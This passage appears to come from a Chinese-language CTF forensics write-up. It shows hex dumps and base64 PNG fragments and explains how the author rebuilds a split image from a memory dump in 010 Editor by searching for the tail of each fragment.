41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4E 6F 48 71 2B 67 45 2F 51 50 4E 4D 47 49 41 41 41 41 41 53 55 56 4F 52 4B 35 43 59 49 49 3D

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAIAAADTED8xAAACvUlEQVR4nO3TMQEAIAzAMMC/5yFjRxMFfXpn5kDV2w6ATQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQNoHq+gE/QPNMGIAAAAASUVORK5CYII=

base64解码后可以得到下面这张空白图片,数据很短,也没什么用

然后我们在010中继续往下看,可以把与上面这个图片有重合部分的base64的数据都删掉方便查看

然后在下图这个位置发现了另一张图片,我尝试给它提取出来

image-20241104164326990

69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 59 41 41 41 42 63 63 71 68 6D 41 41 41 42 47 32 6C 55 57 48 52 59 54 55 77 36 59 32 39 74 4C 6D 46 6B 62 32 4A 6C 4C 6E 68 74 63 41 41 41 41 41 41 41 50 44 39 34 63 47 46 6A 61 32 56 30 49 47 4A 6C 5A 32 6C 75 50 53 4C 76 75 37 38 69 49 47 6C 6B 50 53 4A 58 4E 55 30 77 54 58 42 44 5A 57 68 70 53 48 70 79 5A 56 4E 36 54 6C 52 6A 65 6D 74 6A 4F 57 51 69 50 7A 34 4B 50 48 67 36 65 47 31 77 62 57 56 30 59 53 42 34 62 57 78 75 63 7A 70 34 50 53 4A 68 5A 47 39 69 5A 54 70 75 63 7A 70 74 5A 58 52 68 4C 79 49 67 65 44 70 34 62 58 42 30 61 7A 30 69 57 45 31 51 49 45 4E 76 63 6D 55 67 4E 69 34 77 4C 6A 41 69 50 67 6F 67 50 48 4A 6B 5A 6A 70 53 52 45 59 67 65 47 31 73 62 6E 4D 36 63 6D 52 6D 50 53 4A 6F 64 48 52 77 4F 69 38 76 64 33 64 33 4C 6E 63 7A 4C 6D 39 79 5A 79 38 78 4F 54 6B 35 4C 7A 41 79 4C 7A 49 79 4C 58 4A 6B 5A 69 31 7A 65 57 35 30 59 58 67 74 62 6E 4D 6A 49 6A 34 4B 49 43 41 38 63 6D 52 6D 4F 6B 52 6C 63 32 4E 79 61 58 42 30 61 57 39 75 49 48 4A 6B 5A 6A 70 68 59 6D 39 31 64 44 30 69 49 69 38 2B 43 69 41 38 4C 33 4A 6B 5A 6A 70 53 52 45 59 2B 43 6A 77 76 65 44 70 34 62 58 42 74 5A 58 52 68 50 67 6F 38 50 33 68 77 59 57 4E 72 5A 58 51 67 5A 57 35 6B 50 53 4A 79 49 6A 38 2B 6C 31 76 70 43 67 41 41 49 37 4A 4A 52 45 46 55 65 4A 7A 74 58 55 32 53 56 54 65 79 31 72 56 66 6D 48 67 52 4A 70 36 66 43 63 38 38 4B 67 2F 65 46 75 77 6C 65 41 31 73 6A 2B 6F 6C 77 42 4A 67 45 31 55 39 67 42 46 51 51 4C 67 59 41 42 33 30 65 51 4F 6A 61 6C 32 56 66 76 49 2F 55 2B 66 65 4C 36 4B 6A 38 61 31 7A 70 46 52 4B 79 70 50 4B 50 78 33 2B 76 66 31 37 4F 32 77 70 62 65 6D 51 55 6B 6F 70 48 56 4A 4B 32 37 61 6C 51 7A 6F 63 30 69 46 74 61 64 73 4F 32 2B 47 77 48 64 4B 57 30 6E 5A 49 32 37 64 66 44 79 6B 64 30 69 46 74 57 30 6F 70 62 53 6B 64 44 69 6C 74 4B 61 58 44 64 76 66 37 34 5A 43 6D 2F 33 2F 47 47 57 66 34 34 62 74 44 4F 71 52 30 4F 4B 54 44 33 2F 2B 58 44 69 6D 6C 66 2F 7A 7A 33 65 48 77 54 53 42 38 6B 77 50 35 71 62 38 33 37 64 2F 2F 2B 76 76 76 68 35 51 4F 33 35 34 2B 66 42 4D 4B 2B 66 65 55 55 76 72 48 50 32 2B 4F 2F 72 76 2B 2F 31 50 45 35 66 57 4E 4E 77 6C 6F 63 47 6A 32 47 75 2B 7A 56 78 39 63 2B 75 58 67 78 5A 75 50 64 2F 2B 32 34 4E 74 33 72 52 38 66 58 7A 77 69 4E 58 5A 39 2B 35 6E 64 6C 75 53 67 53 32 5A 53 2B 74 52 61 51 46 7A 2B 65 6D 79 6F 47 63 30 6A 6D 68 35 66 50 41 4C 50 68 53 54 2B 2F 50 55 6E 38 7A 34 68 79 4C 78 71 38 65 7A 33 58 33 35 4D 4B 63 48 57 58 75 75 5A 47 5A 2F 76 39 62 6C 4E 38 50 7A 31 37 65 77 52 4D 4A 35 63 76 52 56 72 61 32 55 61 4B 4B 44 51 76 63 70 59 5A 33 53 57 66 38 65 4F 4B 54 2B 2F 43 69 38 34 6F 50 42 6D 4B 67 41 77 65 50 72 79 76 57 52 7A 5A 68 67 78 54 6C 49 41 72 6F 49 65 50 35 35 63 76 54 58 64 53 43 4D 36 52 72 2F 56 66 2B 38 4A 67 57 68 7A 57 39 4A 48 32 55 75 55 75 53 45 4C 41 4D 6E 4E 50 70 76 51 31 58 44 31 31 79 66 55 38 39 67 46 33 66 75 4E 30 35 38 6E 50 4F 6D 4A 7A 67 75 4D 64 6B 54 42 59 64 76 2B 74 75 4E 37 34 66 4C 36 68 6E 77 6D 50 75 4F 4D 45 73 39 65 66 62 67

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAABG2lUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIi8+CiA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgo8P3hwYWNrZXQgZW5kPSJyIj8+l1vpCgAAI7JJREFUeJztXU2SVTey1rVfmHgRJp6fCc88Kg/eFuwleA1sj+olwBJgE1U9gBFQQLgYAB30eQOjal2VfvI/U+feL6Kj8a1zpFRKypPKPx3+vf17O2wpbemQUkopHVJK27alQzoc0iFtadsO2+GwHdKW0nZI27dfDykd0iFtW0opbSkdDiltKaXDdvf74ZCm/3/GGWf44btDOqR0OKTD3/+XDimlf/zz3eHwTSB8kwP5qb837d//+vvvh5QO354+fBMK+feUUvrHP2+O/rv+/1PE5fWNNwlocGj2Gu+zVx9c+uXgxZuPd/+24Nt3rR8fXzwiNXZ9+5ndluSgS2ZS+tRaQFz+emyoGc0jmh5fPALPhST+/PUn8z4hyLxq8ez3X35MKcHWXuuZGZ/v9blN8Pz17ewRMJ5cvRVra2UaKKDQvcpYZ3SWf8eOKT+/Ci84oPBmKgAwePryvWRzZhgxTlIAroIeP55cvTXdSCM6Rr/Vf+8JgWhzW9JH2UuUuSELAMnNPpvQ1XD11yfU89gF3fuN058nPOmJzguMdkTBYdv+tuN74fL6hnwmPuOMEs9efbg

image-20241104164350569

base64解码后很明显可以发现图片尾部是不完整的,但是从刚才第一张图片的尝试中

我们发现图片在内存中是分段存储的,因此我们可以尝试在010中搜索上面base64的尾部数据 tuN74fL6hnwmPuOMEs9efbg

image-20241104164409644

尝试后发现是可以找到后面的数据的,因此我们以此类推,每次拼接后都搜索尾部的数据

最后将所有的Hex数据都提取出来并解码可以得到

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